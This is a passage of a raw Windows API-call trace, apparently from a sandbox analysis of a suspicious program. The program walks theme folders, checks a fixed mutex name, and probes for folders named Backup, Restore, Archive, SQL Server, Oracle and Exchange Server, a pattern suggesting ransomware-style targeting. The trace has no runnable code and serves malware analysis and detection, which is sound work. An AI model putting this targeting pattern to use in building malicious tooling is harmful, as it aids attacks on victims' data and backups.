nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0050.362] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0050.362] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.362] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.362] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.362] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.362] GlobalUnlock (hMem=0x44000c) returned 0 [0050.362] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.362] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.363] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.363] GlobalUnlock (hMem=0x44000c) returned 0 [0050.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.363] GlobalUnlock (hMem=0x440004) returned 0 [0050.363] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.363] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0050.363] GlobalLock (hMem=0x440004) returned 0x550170 [0050.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.364] GlobalUnlock (hMem=0x440004) returned 0 [0050.364] GlobalLock (hMem=0x440004) returned 0x550170 [0050.364] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.364] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.364] GlobalUnlock (hMem=0x440004) returned 0 [0050.364] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.364] GlobalUnlock (hMem=0x44000c) returned 0 [0050.364] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0050.364] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0050.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.365] GlobalUnlock (hMem=0x44000c) returned 0 [0050.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.365] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.365] GlobalUnlock (hMem=0x44000c) returned 0 [0050.365] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.365] GlobalUnlock (hMem=0x440004) returned 0 [0050.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.365] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.365] GlobalLock (hMem=0x440004) returned 0x550170 [0050.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.365] GlobalUnlock (hMem=0x440004) returned 0 [0050.365] GlobalLock (hMem=0x440004) returned 0x550170 [0050.365] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.365] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.365] GlobalUnlock (hMem=0x440004) returned 0 [0050.365] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.365] GlobalUnlock (hMem=0x44000c) returned 0 [0050.365] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.365] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0050.365] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.365] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.365] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.365] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.366] GlobalUnlock (hMem=0x44000c) returned 0 [0050.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.366] GlobalUnlock (hMem=0x44000c) returned 0 [0050.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.366] GlobalUnlock (hMem=0x440004) returned 0 [0050.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.366] GlobalLock (hMem=0x440004) returned 0x550170 [0050.366] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.366] GlobalUnlock (hMem=0x440004) returned 0 [0050.366] GlobalLock (hMem=0x440004) returned 0x550170 [0050.366] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.366] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.366] GlobalUnlock (hMem=0x440004) returned 0 [0050.366] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.366] GlobalUnlock (hMem=0x44000c) returned 0 [0050.366] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.366] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON") returned 1 [0050.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.366] GlobalUnlock (hMem=0x44000c) returned 0 [0050.366] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.366] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.366] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.366] GlobalUnlock (hMem=0x44000c) returned 0 [0050.366] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.366] GlobalUnlock (hMem=0x440004) returned 0 [0050.366] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@廊R庞R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.367] GetLastError () returned 0x3 [0050.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18㿬Q\x181")) returned 0xffffffff [0050.367] GetLastError () returned 0x2 [0050.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꍴR企@\x18?T\x18;")) returned 0xffffffff [0050.367] GetLastError () returned 0x2 [0050.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18D")) returned 0xffffffff [0050.367] GetLastError () returned 0x2 [0050.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꍴR企@\x18Q\x18j")) returned 0xffffffff [0050.367] GetLastError () returned 0x2 [0050.367] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18q")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18y")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x88")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@塤U企@\x18?T\x18\x8f")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@帜R企@\x18?T\x18\x97")) returned 0xffffffff [0050.368] GetLastError () returned 0x2 [0050.368] GlobalLock (hMem=0x440004) returned 0x550170 [0050.368] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.369] GlobalUnlock (hMem=0x440004) returned 0 [0050.369] GlobalLock (hMem=0x440004) returned 0x550170 [0050.369] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.369] GlobalUnlock (hMem=0x440004) returned 0 [0050.369] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.369] GlobalUnlock (hMem=0x44000c) returned 0 [0050.369] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0050.369] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0050.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0050.369] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0050.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0050.369] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0050.369] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69e28, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0050.369] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.369] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.369] GlobalUnlock (hMem=0x44000c) returned 0 [0050.369] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.369] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.369] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.369] GlobalUnlock (hMem=0x44000c) returned 0 [0050.369] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.369] GlobalUnlock (hMem=0x440004) returned 0 [0050.369] GlobalLock (hMem=0x440004) returned 0x550170 [0050.369] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.369] GlobalUnlock (hMem=0x440004) returned 0 [0050.369] GlobalLock (hMem=0x440004) returned 0x550170 [0050.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.370] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.370] GlobalUnlock (hMem=0x440004) returned 0 [0050.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.370] GlobalUnlock (hMem=0x44000c) returned 0 [0050.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.370] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.370] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0050.370] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.370] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.370] GlobalUnlock 